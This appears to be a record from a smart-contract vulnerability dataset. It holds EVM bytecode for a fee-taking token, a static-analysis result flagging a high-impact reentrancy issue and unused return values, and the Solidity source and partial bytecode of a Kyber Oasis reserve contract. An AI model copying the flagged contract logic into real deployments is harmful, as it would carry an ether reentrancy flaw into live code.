1149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220147acc96eeaef3a359c0be08d3e0718c12a26bc275c0816f8ff3b12b92ebe6a364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,984
0x2d70fB3Fbae9d7145b4b14fEF31f0a2038C0Dc78
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/KyberOasisReserve.sol contract OtcInterface { function getBuyAmount(ERC20 buyGem, ERC20 payGem, uint payAmt) public constant returns (uint fillAmt); function sellAllAmount(ERC20 payGem, uint payAmt, ERC20 buyGem, uint minFillAmount) public returns (uint fillAmt); } contract TokenInterface is ERC20 { function deposit() public payable; function withdraw(uint) public; } contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils { address public kyberNetwork; OtcInterface public otc; TokenInterface public wethToken; ERC20 public tradeToken; bool public tradeEnabled; uint public feeBps; function KyberOasisReserve( address _kyberNetwork, OtcInterface _otc, TokenInterface _wethToken, ERC20 _tradeToken, address _admin, uint _feeBps ) public { require(_admin != address(0)); require(_kyberNetwork != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; admin = _admin; feeBps = _feeBps; tradeEnabled = true; } event DepositToken(ERC20 token, uint amount); function() public payable { DepositToken(ETH_TOKEN_ADDRESS, msg.value); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event ReserveParamsSet( address kyberNetwork, OtcInterface otc, TokenInterface wethToken, ERC20 tradeToken, uint feeBps ); function setReserveParams( address _kyberNetwork, OtcInterface _otc, TokenInterface _wethToken, ERC20 _tradeToken, uint _feeBps ) public onlyAdmin { require(_kyberNetwork != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); kyberNetwork = _kyberNetwork; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; feeBps = _feeBps; ReserveParamsSet(kyberNetwork, otc, wethToken, tradeToken, feeBps); } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } function valueAfterReducingFee(uint val) public view returns(uint) { require(val <= MAX_QTY); return ((10000 - feeBps) * val) / 10000; } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { uint rate; uint destQty; ERC20 wrappedSrc; ERC20 wrappedDest; blockNumber; if (!tradeEnabled) return 0; if ((tradeToken != src) && (tradeToken != dest)) return 0; if (src == ETH_TOKEN_ADDRESS) { wrappedSrc = wethToken; wrappedDest = dest; } else if (dest == ETH_TOKEN_ADDRESS) { wrappedSrc = src; wrappedDest = wethToken; } else { return 0; } destQty = otc.getBuyAmount(wrappedDest, wrappedSrc, srcQty); rate = valueAfterReducingFee(destQty) * PRECISION / srcQty; return rate; } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { uint actualDestAmount; require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken)); require((tradeToken == srcToken) || (tradeToken == destToken)); // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); // sanity check require(destAmount > 0); if (srcToken == ETH_TOKEN_ADDRESS) { wethToken.deposit.value(msg.value)(); //TODO - move to constructor... if (wethToken.allowance(this, otc) < msg.value) { wethToken.approve(otc, uint(-1)); } actualDestAmount = otc.sellAllAmount(wethToken, msg.value, destToken, destAmount); require(actualDestAmount >= destAmount); // transfer back only requested dest amount. require(destToken.transfer(destAddress, destAmount)); } else { require(srcToken.transferFrom(msg.sender, this, srcAmount)); /* TODO - move to constructor */ if (srcToken.allowance(this, otc) < srcAmount) { srcToken.approve(otc, uint(-1)); } actualDestAmount = otc.sellAllAmount(srcToken, srcAmount, wethToken, destAmount); require(actualDestAmount >= destAmount); wethToken.withdraw(actualDestAmount); // transfer back only requested dest amount. destAddress.transfer(destAmount); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } }
0x6060604052600436106101395763ffffffff60e060020a60003504166299d386811461019357806301a12fd3146101ba57806324a9d853146101db578063267822471461020057806327a099d81461022f57806336b61e3c146102955780633ccdbb28146102a8578063408ee7fe146102d15780634b57b0be146102f05780636940030f146103035780636cf69811146103165780636f3d80431461034257806375829def14610358578063763a4dd01461037757806377f50f97146103ab5780637acc8678146103be5780637c423f54146103dd5780637cd44272146103f05780639870d7fe1461041b578063ac8a584a1461043a578063b78b842d14610459578063ce56c4541461046c578063d621e8131461048e578063d83678ac146104a1578063f851a440146104b4578063fa64dffa146104c7575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051600160a060020a03909216825260208201526040908101905180910390a1005b341561019e57600080fd5b6101a66104f2565b604051901515815260200160405180910390f35b34156101c557600080fd5b6101d9600160a060020a0360043516610580565b005b34156101e657600080fd5b6101ee6106f0565b60405190815260200160405180910390f35b341561020b57600080fd5b6102136106f6565b604051600160a060020a03909116815260200160405180910390f35b341561023a57600080fd5b610242610705565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015610281578082015183820152602001610269565b505050509050019250505060405180910390f35b34156102a057600080fd5b61021361076d565b34156102b357600080fd5b6101d9600160a060020a03600435811690602435906044351661077c565b34156102dc57600080fd5b6101d9600160a060020a0360043516610873565b34156102fb57600080fd5b61021361096f565b341561030e57600080fd5b6101a661097e565b6101a6600160a060020a03600435811690602435906044358116906064351660843560a43515156109ff565b341561034d57600080fd5b6101ee600435610a6c565b341561036357600080fd5b6101d9600160a060020a0360043516610a99565b341561038257600080fd5b6101d9600160a060020a0360043581169060243581169060443581169060643516608435610b34565b34156103b657600080fd5b6101d9610c74565b34156103c957600080fd5b6101d9600160a060020a0360043516610d0e565b34156103e857600080fd5b610242610df0565b34156103fb57600080fd5b6101ee600160a060020a0360043581169060243516604435606435610e56565b341561042657600080fd5b6101d9600160a060020a0360043516610fec565b341561044557600080fd5b6101d9600160a060020a03600435166110bc565b341561046457600080fd5b610213611228565b341561047757600080fd5b6101d9600435600160a060020a0360243516611237565b341561049957600080fd5b6101a66112ca565b34156104ac57600080fd5b6102136112eb565b34156104bf57600080fd5b6102136112fa565b34156104d257600080fd5b6101ee600160a060020a0360043581169060243516604435606435611309565b6000805433600160a060020a0390811691161461050e57600080fd5b600a805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a0390811691161461059c57600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105c357600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156106ec5781600160a060020a031660058281548110151561060857fe5b600091825260209091200154600160a060020a031614156106e45760058054600019810190811061063557fe5b60009182526020909120015460058054600160a060020a03909216918390811061065b57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556005805490610697906000198301611b8d565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ec565b6001016105e5565b5050565b600b5481565b600154600160a060020a031681565b61070d611bb6565b600480548060200260200160405190810160405280929190818152602001828054801561076357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610745575b5050505050905090565b600854600160a060020a031681565b60005433600160a060020a0390811691161461079757600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107f457600080fd5b6102c65a03f1151561080557600080fd5b50505060405180519050151561081a57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461088e57600080fd5b600160a060020a03811660009081526003602052604090205460ff16156108b457600080fd5b600554603290106108c457600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109438382611b8d565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600954600160a060020a031681565b600160a060020a03331660009081526003602052604081205460ff1615156109a557600080fd5b600a805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600a5460009074010000000000000000000000000000000000000000900460ff161515610a2b57600080fd5b